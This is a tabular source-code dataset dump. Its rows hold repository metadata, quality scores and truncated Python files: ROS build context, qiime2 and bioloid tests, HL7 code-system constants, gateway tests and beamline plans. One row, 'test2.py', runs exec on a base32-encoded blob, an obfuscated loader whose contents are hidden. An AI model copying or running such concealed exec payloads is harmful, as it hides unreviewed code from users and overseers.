hexsha string | size int64 | ext string | lang string | max_stars_repo_path string | max_stars_repo_name string | max_stars_repo_head_hexsha string | max_stars_repo_licenses list | max_stars_count int64 | max_stars_repo_stars_event_min_datetime string | max_stars_repo_stars_event_max_datetime string | max_issues_repo_path string | max_issues_repo_name string | max_issues_repo_head_hexsha string | max_issues_repo_licenses list | max_issues_count int64 | max_issues_repo_issues_event_min_datetime string | max_issues_repo_issues_event_max_datetime string | max_forks_repo_path string | max_forks_repo_name string | max_forks_repo_head_hexsha string | max_forks_repo_licenses list | max_forks_count int64 | max_forks_repo_forks_event_min_datetime string | max_forks_repo_forks_event_max_datetime string | content string | avg_line_length float64 | max_line_length int64 | alphanum_fraction float64 | qsc_code_num_words_quality_signal int64 | qsc_code_num_chars_quality_signal float64 | qsc_code_mean_word_length_quality_signal float64 | qsc_code_frac_words_unique_quality_signal float64 | qsc_code_frac_chars_top_2grams_quality_signal float64 | qsc_code_frac_chars_top_3grams_quality_signal float64 | qsc_code_frac_chars_top_4grams_quality_signal float64 | qsc_code_frac_chars_dupe_5grams_quality_signal float64 | qsc_code_frac_chars_dupe_6grams_quality_signal float64 | qsc_code_frac_chars_dupe_7grams_quality_signal float64 | qsc_code_frac_chars_dupe_8grams_quality_signal float64 | qsc_code_frac_chars_dupe_9grams_quality_signal float64 | qsc_code_frac_chars_dupe_10grams_quality_signal float64 | qsc_code_frac_chars_replacement_symbols_quality_signal float64 | qsc_code_frac_chars_digital_quality_signal float64 | qsc_code_frac_chars_whitespace_quality_signal float64 | qsc_code_size_file_byte_quality_signal float64 | qsc_code_num_lines_quality_signal float64 | qsc_code_num_chars_line_max_quality_signal float64 | qsc_code_num_chars_line_mean_quality_signal float64 | qsc_code_frac_chars_alphabet_quality_signal float64 | qsc_code_frac_chars_comments_quality_signal float64 | qsc_code_cate_xml_start_quality_signal float64 | qsc_code_frac_lines_dupe_lines_quality_signal float64 | qsc_code_cate_autogen_quality_signal float64 | qsc_code_frac_lines_long_string_quality_signal float64 | qsc_code_frac_chars_string_length_quality_signal float64 | qsc_code_frac_chars_long_word_length_quality_signal float64 | qsc_code_frac_lines_string_concat_quality_signal float64 | qsc_code_cate_encoded_data_quality_signal float64 | qsc_code_frac_chars_hex_words_quality_signal float64 | qsc_code_frac_lines_prompt_comments_quality_signal float64 | qsc_code_frac_lines_assert_quality_signal float64 | qsc_codepython_cate_ast_quality_signal float64 | qsc_codepython_frac_lines_func_ratio_quality_signal float64 | qsc_codepython_cate_var_zero_quality_signal bool | qsc_codepython_frac_lines_pass_quality_signal float64 | qsc_codepython_frac_lines_import_quality_signal float64 | qsc_codepython_frac_lines_simplefunc_quality_signal float64 | qsc_codepython_score_lines_no_logic_quality_signal float64 | qsc_codepython_frac_lines_print_quality_signal float64 | qsc_code_num_words int64 | qsc_code_num_chars int64 | qsc_code_mean_word_length int64 | qsc_code_frac_words_unique null | qsc_code_frac_chars_top_2grams int64 | qsc_code_frac_chars_top_3grams int64 | qsc_code_frac_chars_top_4grams int64 | qsc_code_frac_chars_dupe_5grams int64 | qsc_code_frac_chars_dupe_6grams int64 | qsc_code_frac_chars_dupe_7grams int64 | qsc_code_frac_chars_dupe_8grams int64 | qsc_code_frac_chars_dupe_9grams int64 | qsc_code_frac_chars_dupe_10grams int64 | qsc_code_frac_chars_replacement_symbols int64 | qsc_code_frac_chars_digital int64 | qsc_code_frac_chars_whitespace int64 | qsc_code_size_file_byte int64 | qsc_code_num_lines int64 | qsc_code_num_chars_line_max int64 | qsc_code_num_chars_line_mean int64 | qsc_code_frac_chars_alphabet int64 | qsc_code_frac_chars_comments int64 | qsc_code_cate_xml_start int64 | qsc_code_frac_lines_dupe_lines int64 | qsc_code_cate_autogen int64 | qsc_code_frac_lines_long_string int64 | qsc_code_frac_chars_string_length int64 | qsc_code_frac_chars_long_word_length int64 | qsc_code_frac_lines_string_concat null | qsc_code_cate_encoded_data int64 | qsc_code_frac_chars_hex_words int64 | qsc_code_frac_lines_prompt_comments int64 | qsc_code_frac_lines_assert int64 | qsc_codepython_cate_ast int64 | qsc_codepython_frac_lines_func_ratio int64 | qsc_codepython_cate_var_zero int64 | qsc_codepython_frac_lines_pass int64 | qsc_codepython_frac_lines_import int64 | qsc_codepython_frac_lines_simplefunc int64 | qsc_codepython_score_lines_no_logic int64 | qsc_codepython_frac_lines_print int64 | effective string | hits int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
de3f38e7858aba5ac689551ca4e85ac0e9e733db | 1,664 | py | Python | catkin_ws/build/fmauch_universal_robot/ur_msgs/cmake/ur_msgs-genmsg-context.py | filesmuggler/ur3e-ird435-rg2 | 93d5bd72aa35ae5fd104c9e6021d7537e1739772 | [
"MIT"
] | 1 | 2021-04-01T09:54:30.000Z | 2021-04-01T09:54:30.000Z | catkin_ws/build/fmauch_universal_robot/ur_msgs/cmake/ur_msgs-genmsg-context.py | filesmuggler/ur3e-ird435-rg2 | 93d5bd72aa35ae5fd104c9e6021d7537e1739772 | [
"MIT"
] | 1 | 2020-09-30T03:58:47.000Z | 2020-09-30T03:58:47.000Z | catkin_ws/build/fmauch_universal_robot/ur_msgs/cmake/ur_msgs-genmsg-context.py | filesmuggler/ur3e-ird435-rg2 | 93d5bd72aa35ae5fd104c9e6021d7537e1739772 | [
"MIT"
] | null | null | null | # generated from genmsg/cmake/pkg-genmsg.context.in
messages_str = "/home/krzysztof/Repos/ur3e-ird435-rg2/catkin_ws/src/fmauch_universal_robot/ur_msgs/msg/Analog.msg;/home/krzysztof/Repos/ur3e-ird435-rg2/catkin_ws/src/fmauch_universal_robot/ur_msgs/msg/Digital.msg;/home/krzysztof/Repos/ur3e-ird435-rg2/catkin_ws/src/fm... | 138.666667 | 741 | 0.836538 | 265 | 1,664 | 4.996226 | 0.256604 | 0.058912 | 0.149547 | 0.182779 | 0.64577 | 0.612538 | 0.612538 | 0.612538 | 0.612538 | 0.612538 | 0 | 0.034356 | 0.020433 | 1,664 | 11 | 742 | 151.272727 | 0.777914 | 0.029447 | 0 | 0 | 1 | 0.333333 | 0.874148 | 0.857409 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
721be945a415b79e762b1abd4c14b160a98487a4 | 3,193 | py | Python | genome_sampler/tests/test_filter.py | Oddant1/genome-sampler | eccaa591388ab98fad8a657b868fad75996eaa8c | [
"BSD-3-Clause"
] | 4 | 2020-07-04T21:39:32.000Z | 2022-03-18T11:08:48.000Z | genome_sampler/tests/test_filter.py | Oddant1/genome-sampler | eccaa591388ab98fad8a657b868fad75996eaa8c | [
"BSD-3-Clause"
] | 57 | 2020-05-28T18:26:37.000Z | 2021-03-11T22:12:16.000Z | genome_sampler/tests/test_filter.py | Oddant1/genome-sampler | eccaa591388ab98fad8a657b868fad75996eaa8c | [
"BSD-3-Clause"
] | 6 | 2020-05-28T22:28:52.000Z | 2022-01-24T14:53:16.000Z | import skbio
import pandas as pd
from qiime2.plugin.testing import TestPluginBase
from ..filter import filter_seqs
class FilterTests(TestPluginBase):
package = 'genome_sampler.tests'
def test_no_filter(self):
exp = pd.Series({'s1': skbio.DNA('ACGTTNGACA', metadata={'id': 's1'}),
... | 42.013158 | 78 | 0.554338 | 397 | 3,193 | 4.357683 | 0.143577 | 0.092486 | 0.153757 | 0.178035 | 0.842197 | 0.842197 | 0.801156 | 0.801156 | 0.787861 | 0.787861 | 0 | 0.022157 | 0.250861 | 3,193 | 75 | 79 | 42.573333 | 0.701087 | 0 | 0 | 0.578947 | 0 | 0 | 0.080489 | 0 | 0 | 0 | 0 | 0 | 0.245614 | 1 | 0.122807 | false | 0 | 0.070175 | 0 | 0.22807 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
721c2626a696f6e9843e7fb60b2e703b3731220b | 554 | py | Python | test2.py | Err0r-ICA/VAROUS | 63326403ded1f2c3394041f9f2392c2e25f971e5 | [
"MIT"
] | 46 | 2020-04-28T13:15:50.000Z | 2022-03-30T18:20:00.000Z | test2.py | Err0r-ICA/VAROUS | 63326403ded1f2c3394041f9f2392c2e25f971e5 | [
"MIT"
] | 3 | 2020-06-15T21:30:36.000Z | 2021-08-20T13:37:07.000Z | test2.py | Err0r-ICA/VAROUS | 63326403ded1f2c3394041f9f2392c2e25f971e5 | [
"MIT"
] | 13 | 2020-04-28T10:19:54.000Z | 2022-02-22T19:06:51.000Z | import marshal, base64
exec(base64.b32decode("MZZG63JAORUHEZLBMRUW4ZZANFWXA33SOQQFI2DSMVQWICQKNFWXA33SOQQHOYLSNZQQUZTSN5WSA53BOJXGCIDJNVYG64TUEBYGK3DBNZTWSCQKNFWXA33SOQQHI2LNMUFAU5BRHVKGQ4TFMFSCQ5DBOJTWK5B5OBSWYYLOM5USYIDBOJTXGPJIEJGE6QKEJFHEOIRMJZXW4ZJMGIUSSCTUGEXHG5DBOJ2CQKIKBJSGKZRAMRXSQKJ2BIQCAIBAEAQCAIDJNVYG64TUEB... | 184.666667 | 530 | 0.978339 | 7 | 554 | 77.428571 | 0.857143 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.121818 | 0.00722 | 554 | 2 | 531 | 277 | 0.863636 | 0 | 0 | 0 | 0 | 0 | 0.909747 | 0.909747 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 9 |
a0c62c363cd939767786da26f6dfe3ba8ccf3324 | 276 | py | Python | openproblems/tasks/label_projection/methods/__init__.py | bendemeo/SingleCellOpenProblems | e4c009f8c232bdae4c9e20b8e435d0fe474b3daf | [
"MIT"
] | 134 | 2020-08-19T07:35:56.000Z | 2021-05-19T11:37:50.000Z | openproblems/tasks/label_projection/methods/__init__.py | bendemeo/SingleCellOpenProblems | e4c009f8c232bdae4c9e20b8e435d0fe474b3daf | [
"MIT"
] | 175 | 2020-08-17T15:26:06.000Z | 2021-05-14T11:03:46.000Z | openproblems/tasks/label_projection/methods/__init__.py | LuckyMD/SingleCellOpenProblems | 0ae39db494557e1dd9f28e59dda765527191eee1 | [
"MIT"
] | 46 | 2020-10-08T21:11:37.000Z | 2021-04-25T07:05:28.000Z | from .knn_classifier import knn_classifier_log_cpm
from .knn_classifier import knn_classifier_scran
from .logistic_regression import logistic_regression_log_cpm
from .logistic_regression import logistic_regression_scran
from .mlp import mlp_log_cpm
from .mlp import mlp_scran
| 39.428571 | 60 | 0.891304 | 41 | 276 | 5.585366 | 0.243902 | 0.227074 | 0.131004 | 0.200873 | 0.716157 | 0.716157 | 0 | 0 | 0 | 0 | 0 | 0 | 0.086957 | 276 | 6 | 61 | 46 | 0.90873 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
a0cc82e8ef16ebb9284f7f67457841edfdc6e731 | 177 | py | Python | datalad_crawler/pipelines/tests/__init__.py | CONP-PCNO/datalad-crawler | 888e179f73dc000103b183e0bb5e47c4aea31ead | [
"MIT"
] | 5 | 2018-09-20T07:15:45.000Z | 2020-04-12T15:01:58.000Z | datalad_crawler/pipelines/tests/__init__.py | CONP-PCNO/datalad-crawler | 888e179f73dc000103b183e0bb5e47c4aea31ead | [
"MIT"
] | 107 | 2018-05-08T13:09:14.000Z | 2022-02-23T18:40:58.000Z | datalad_crawler/pipelines/tests/__init__.py | CONP-PCNO/datalad-crawler | 888e179f73dc000103b183e0bb5e47c4aea31ead | [
"MIT"
] | 9 | 2018-05-16T00:35:02.000Z | 2021-10-01T18:38:17.000Z | from datalad.tests.utils import skip_if_no_module
skip_if_no_module('scrapy')
from datalad.tests.utils import skip_if_scrapy_without_selector
skip_if_scrapy_without_selector()
| 29.5 | 63 | 0.881356 | 29 | 177 | 4.896552 | 0.413793 | 0.169014 | 0.225352 | 0.295775 | 0.802817 | 0.464789 | 0.464789 | 0 | 0 | 0 | 0 | 0 | 0.062147 | 177 | 5 | 64 | 35.4 | 0.855422 | 0 | 0 | 0 | 0 | 0 | 0.033898 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 7 |
9d28de2e6a686f99d079c4403430d7ba7a43ca46 | 49,990 | py | Python | oops_fhir/r4/code_system/v3_hl7_publishing_domain.py | Mikuana/oops_fhir | 77963315d123756b7d21ae881f433778096a1d25 | [
"MIT"
] | null | null | null | oops_fhir/r4/code_system/v3_hl7_publishing_domain.py | Mikuana/oops_fhir | 77963315d123756b7d21ae881f433778096a1d25 | [
"MIT"
] | null | null | null | oops_fhir/r4/code_system/v3_hl7_publishing_domain.py | Mikuana/oops_fhir | 77963315d123756b7d21ae881f433778096a1d25 | [
"MIT"
] | null | null | null | from pathlib import Path
from fhir.resources.codesystem import CodeSystem
from oops_fhir.utils import CodeSystemConcept
__all__ = ["v3hl7PublishingDomain"]
_resource = CodeSystem.parse_file(Path(__file__).with_suffix(".json"))
class v3hl7PublishingDomain:
"""
v3 Code System hl7PublishingDomain
Des... | 72.344428 | 815 | 0.697319 | 5,985 | 49,990 | 5.822055 | 0.071178 | 0.022672 | 0.056479 | 0.063539 | 0.926474 | 0.92481 | 0.92481 | 0.92481 | 0.924523 | 0.910059 | 0 | 0.00529 | 0.25121 | 49,990 | 690 | 816 | 72.449275 | 0.925598 | 0.004481 | 0 | 0 | 0 | 0.139073 | 0.810216 | 0.002524 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.013245 | 0 | 0.15894 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
9d35eea637b4e5c49c1bf3da4dc08a685a4bba04 | 149 | py | Python | platform/radio/efr32_multiphy_configurator/pyradioconfig/parts/bobcat/calculators/calc_longrange.py | lmnotran/gecko_sdk | 2e82050dc8823c9fe0e8908c1b2666fb83056230 | [
"Zlib"
] | 82 | 2016-06-29T17:24:43.000Z | 2021-04-16T06:49:17.000Z | platform/radio/efr32_multiphy_configurator/pyradioconfig/parts/bobcat/calculators/calc_longrange.py | lmnotran/gecko_sdk | 2e82050dc8823c9fe0e8908c1b2666fb83056230 | [
"Zlib"
] | 6 | 2022-01-12T18:22:08.000Z | 2022-03-25T10:19:27.000Z | platform/radio/efr32_multiphy_configurator/pyradioconfig/parts/bobcat/calculators/calc_longrange.py | lmnotran/gecko_sdk | 2e82050dc8823c9fe0e8908c1b2666fb83056230 | [
"Zlib"
] | 56 | 2016-08-02T10:50:50.000Z | 2021-07-19T08:57:34.000Z | from pyradioconfig.parts.ocelot.calculators.calc_longrange import CALC_longrange_ocelot
class Calc_Longrange_Bobcat(CALC_longrange_ocelot):
pass | 37.25 | 87 | 0.879195 | 19 | 149 | 6.526316 | 0.578947 | 0.419355 | 0.306452 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.073826 | 149 | 4 | 88 | 37.25 | 0.898551 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.333333 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 8 |
19b469b333f78863134194fa2dce493c51836225 | 469 | py | Python | pyprocessing/time.py | MikkMakk88/pyprocessing | a09965ab78f2c0209b66dd84d90892575498dc2a | [
"MIT"
] | null | null | null | pyprocessing/time.py | MikkMakk88/pyprocessing | a09965ab78f2c0209b66dd84d90892575498dc2a | [
"MIT"
] | null | null | null | pyprocessing/time.py | MikkMakk88/pyprocessing | a09965ab78f2c0209b66dd84d90892575498dc2a | [
"MIT"
] | null | null | null | import datetime
import time
from pyprocessing import pp
def second():
return datetime.datetime.now().second
def minute():
return datetime.datetime.now().minute
def hour():
return datetime.datetime.now().hour
def day():
return datetime.datetime.now().day
def month():
return datetime.dateti... | 14.212121 | 63 | 0.692964 | 64 | 469 | 5 | 0.328125 | 0.2625 | 0.4125 | 0.46875 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.018135 | 0.176972 | 469 | 32 | 64 | 14.65625 | 0.810881 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.411765 | true | 0 | 0.176471 | 0.411765 | 1 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 1 | 1 | 0 | 0 | 7 |
19cfdce64872c8ec2b9e413bacfb19cfb90b7269 | 136,019 | py | Python | test/unit/connections/eth/test_eth_connection_protocol.py | doubleukay/bxgateway | ac01fc9475c039cf4255576dd4ecd6bff6c48f69 | [
"MIT"
] | 21 | 2019-11-06T17:37:41.000Z | 2022-03-28T07:18:33.000Z | test/unit/connections/eth/test_eth_connection_protocol.py | doubleukay/bxgateway | ac01fc9475c039cf4255576dd4ecd6bff6c48f69 | [
"MIT"
] | 4 | 2019-11-06T22:08:00.000Z | 2021-12-08T06:20:51.000Z | test/unit/connections/eth/test_eth_connection_protocol.py | doubleukay/bxgateway | ac01fc9475c039cf4255576dd4ecd6bff6c48f69 | [
"MIT"
] | 10 | 2020-08-05T15:58:16.000Z | 2022-02-07T23:51:10.000Z | import time
from mock import MagicMock
import blxr_rlp as rlp
from bxcommon.utils.object_hash import Sha256Hash
from bxcommon.messages.eth.serializers.block_header import BlockHeader
from bxcommon.models.blockchain_peer_info import BlockchainPeerInfo
from bxcommon.network.ip_endpoint import IpEndpoint
from bxcommon.t... | 1,203.707965 | 131,108 | 0.990509 | 563 | 136,019 | 238.973357 | 0.243339 | 0.000832 | 0.000803 | 0.000684 | 0.007143 | 0.006184 | 0.005768 | 0.005768 | 0.005143 | 0.004645 | 0 | 0.724275 | 0.006874 | 136,019 | 112 | 131,109 | 1,214.455357 | 0.271712 | 0 | 0 | 0.178947 | 0 | 0 | 0.964792 | 0.964645 | 0 | 1 | 0 | 0 | 0.105263 | 1 | 0.063158 | false | 0 | 0.2 | 0 | 0.284211 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
c230da5fa7ff00e04c795146241c6227864dd81b | 3,635 | py | Python | testsuite/test_welch_run.py | C2SM/clim-sanity-checker | 3d5d610b16ca7e87c841ef7ad06a94d0399b4773 | [
"MIT"
] | null | null | null | testsuite/test_welch_run.py | C2SM/clim-sanity-checker | 3d5d610b16ca7e87c841ef7ad06a94d0399b4773 | [
"MIT"
] | 3 | 2021-07-29T11:26:20.000Z | 2021-07-29T16:01:54.000Z | testsuite/test_welch_run.py | C2SM/clim-sanity-checker | 3d5d610b16ca7e87c841ef7ad06a94d0399b4773 | [
"MIT"
] | null | null | null | import shutil
import testsuite.utils as utils
def test_welch_first_ref():
input_dir = 'testsuite/data'
exp_name = 'first-ref'
files_generated = utils.generate_data(input_dir,
exp_name,
'2d_A',
... | 33.045455 | 66 | 0.510316 | 394 | 3,635 | 4.393401 | 0.15736 | 0.052571 | 0.064702 | 0.076834 | 0.875217 | 0.867707 | 0.849798 | 0.81398 | 0.786251 | 0.767764 | 0 | 0.008613 | 0.393122 | 3,635 | 109 | 67 | 33.348624 | 0.776065 | 0 | 0 | 0.74026 | 1 | 0 | 0.103714 | 0 | 0 | 0 | 0 | 0 | 0.090909 | 1 | 0.038961 | false | 0 | 0.025974 | 0 | 0.064935 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
c238ef60c05473ff43637530349512c5d6f2b36a | 11,394 | py | Python | plans/epu-cal-plan.py | mrakitin/profile_collection-six | 20e41632b9898ac83a8e60fcca9b8aeaaa91f0ad | [
"BSD-3-Clause"
] | null | null | null | plans/epu-cal-plan.py | mrakitin/profile_collection-six | 20e41632b9898ac83a8e60fcca9b8aeaaa91f0ad | [
"BSD-3-Clause"
] | 30 | 2017-05-18T19:11:24.000Z | 2021-06-23T16:59:26.000Z | plans/epu-cal-plan.py | mrakitin/profile_collection-six | 20e41632b9898ac83a8e60fcca9b8aeaaa91f0ad | [
"BSD-3-Clause"
] | 3 | 2018-01-10T17:16:47.000Z | 2020-03-12T14:51:36.000Z |
def epu_calib_gr1800_Aug2019(dets = [sclr, ring_curr]):
print('\n\n WARNING WARNING WARNING:\n\t check if there scalar is installed or not!!!!')
yield from gcdiag.diode
# srs settings for diode = SRS settings: 5 x1 uA/v , time = 1.0
yield from mv(m1_simple_fbk,0)
yield from mv(m3_simple_fbk,... | 34.113772 | 99 | 0.626558 | 2,016 | 11,394 | 3.478671 | 0.071429 | 0.25795 | 0.14744 | 0.098389 | 0.972765 | 0.956224 | 0.948667 | 0.944959 | 0.934693 | 0.919435 | 0 | 0.104414 | 0.238459 | 11,394 | 333 | 100 | 34.216216 | 0.703815 | 0.177374 | 0 | 0.857143 | 0 | 0 | 0.166577 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.028571 | false | 0 | 0 | 0 | 0.028571 | 0.080952 | 0 | 0 | 0 | null | 1 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
dfd3db12939f914636be4a1513f7e352e388ac3d | 898,814 | py | Python | src/biokbase/cdmi/client.py | teharrison/narrative | 71e2c49dfd1426d4a05e1f078946eaa271cae46a | [
"MIT"
] | null | null | null | src/biokbase/cdmi/client.py | teharrison/narrative | 71e2c49dfd1426d4a05e1f078946eaa271cae46a | [
"MIT"
] | null | null | null | src/biokbase/cdmi/client.py | teharrison/narrative | 71e2c49dfd1426d4a05e1f078946eaa271cae46a | [
"MIT"
] | null | null | null | ############################################################
#
# Autogenerated by the KBase type compiler -
# any changes made here will be overwritten
#
# Passes on URLError, timeout, and BadStatusLine exceptions.
# See:
# http://docs.python.org/2/library/urllib2.html
# http://docs.python.org/2/library/htt... | 40.481647 | 104 | 0.490764 | 95,866 | 898,814 | 4.507542 | 0.00725 | 0.026222 | 0.055313 | 0.024745 | 0.958854 | 0.958127 | 0.957095 | 0.955617 | 0.955147 | 0.952333 | 0 | 0.009484 | 0.403329 | 898,814 | 22,202 | 105 | 40.48347 | 0.796266 | 0.062383 | 0 | 0.895534 | 1 | 0 | 0.129543 | 0.030363 | 0 | 0 | 0 | 0 | 0.000526 | 0 | null | null | 0.001105 | 0.000684 | null | null | 0.000105 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
5f2db84bcfe053322ca4507b2b70fecde345791c | 21,922 | py | Python | modules/tests/photons_control_tests/device_finder/test_special_reference.py | Djelibeybi/photons | bc0aa91771d8e88fd3c691fb58f18cb876f292ec | [
"MIT"
] | 51 | 2020-07-03T08:34:48.000Z | 2022-03-16T10:56:08.000Z | modules/tests/photons_control_tests/device_finder/test_special_reference.py | delfick/photons | bc0aa91771d8e88fd3c691fb58f18cb876f292ec | [
"MIT"
] | 81 | 2020-07-03T08:13:59.000Z | 2022-03-31T23:02:54.000Z | modules/tests/photons_control_tests/device_finder/test_special_reference.py | Djelibeybi/photons | bc0aa91771d8e88fd3c691fb58f18cb876f292ec | [
"MIT"
] | 8 | 2020-07-24T23:48:20.000Z | 2021-05-24T17:20:16.000Z | # coding: spec
from photons_control.device_finder import DeviceFinder, Filter, Finder
from photons_app.special import SpecialReference
from photons_app import helpers as hp
from photons_messages import DeviceMessages, LightMessages, DiscoveryMessages
from photons_products import Products
from unittest import mock
i... | 39.858182 | 98 | 0.548992 | 2,309 | 21,922 | 5.119965 | 0.092248 | 0.035865 | 0.038488 | 0.056251 | 0.808493 | 0.801979 | 0.789207 | 0.778548 | 0.767214 | 0.740315 | 0 | 0.020508 | 0.339385 | 21,922 | 549 | 99 | 39.930783 | 0.795816 | 0.005155 | 0 | 0.696035 | 0 | 0 | 0.093511 | 0.01064 | 0 | 0 | 0 | 0 | 0.226872 | 0 | null | null | 0.004405 | 0.017621 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
a038eae8b85ba698490a532f76443cd32f20a633 | 4,201 | py | Python | tests/test_dump_mem.py | dhylands/bioloid3 | e2b8e4f044110b63decafe514b78b6f7f4d7883e | [
"MIT"
] | 11 | 2016-09-18T08:00:18.000Z | 2021-04-09T10:59:00.000Z | tests/test_dump_mem.py | dhylands/bioloid3 | e2b8e4f044110b63decafe514b78b6f7f4d7883e | [
"MIT"
] | null | null | null | tests/test_dump_mem.py | dhylands/bioloid3 | e2b8e4f044110b63decafe514b78b6f7f4d7883e | [
"MIT"
] | 5 | 2016-12-26T04:19:30.000Z | 2022-03-02T00:41:47.000Z | #!/usr/bin/env python3
# This file tests the packet parser
import unittest
import binascii
from bioloid.dump_mem import dump_mem
PREFIX = ' Prefix'
class TestDumpMem(unittest.TestCase):
def clear_log(self):
self.log_lines = []
def log(self, str):
self.log_lines.append(str)
#print(str)
def t... | 32.315385 | 91 | 0.612235 | 638 | 4,201 | 3.846395 | 0.15047 | 0.085575 | 0.07824 | 0.09128 | 0.834556 | 0.810106 | 0.797881 | 0.778321 | 0.719234 | 0.710269 | 0 | 0.216413 | 0.280647 | 4,201 | 129 | 92 | 32.565891 | 0.595632 | 0.015473 | 0 | 0.461538 | 0 | 0.028846 | 0.349867 | 0.005323 | 0 | 0 | 0.002903 | 0 | 0.134615 | 1 | 0.153846 | false | 0 | 0.028846 | 0 | 0.192308 | 0.009615 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
a0840103880ed9956378402aaf466bbc48187ab6 | 9,709 | py | Python | qa327_test/frontend/test_login.py | 15vrs/cmpe-327 | aeb1de94604eb0d151ffdd9431b4149f2ec30f9c | [
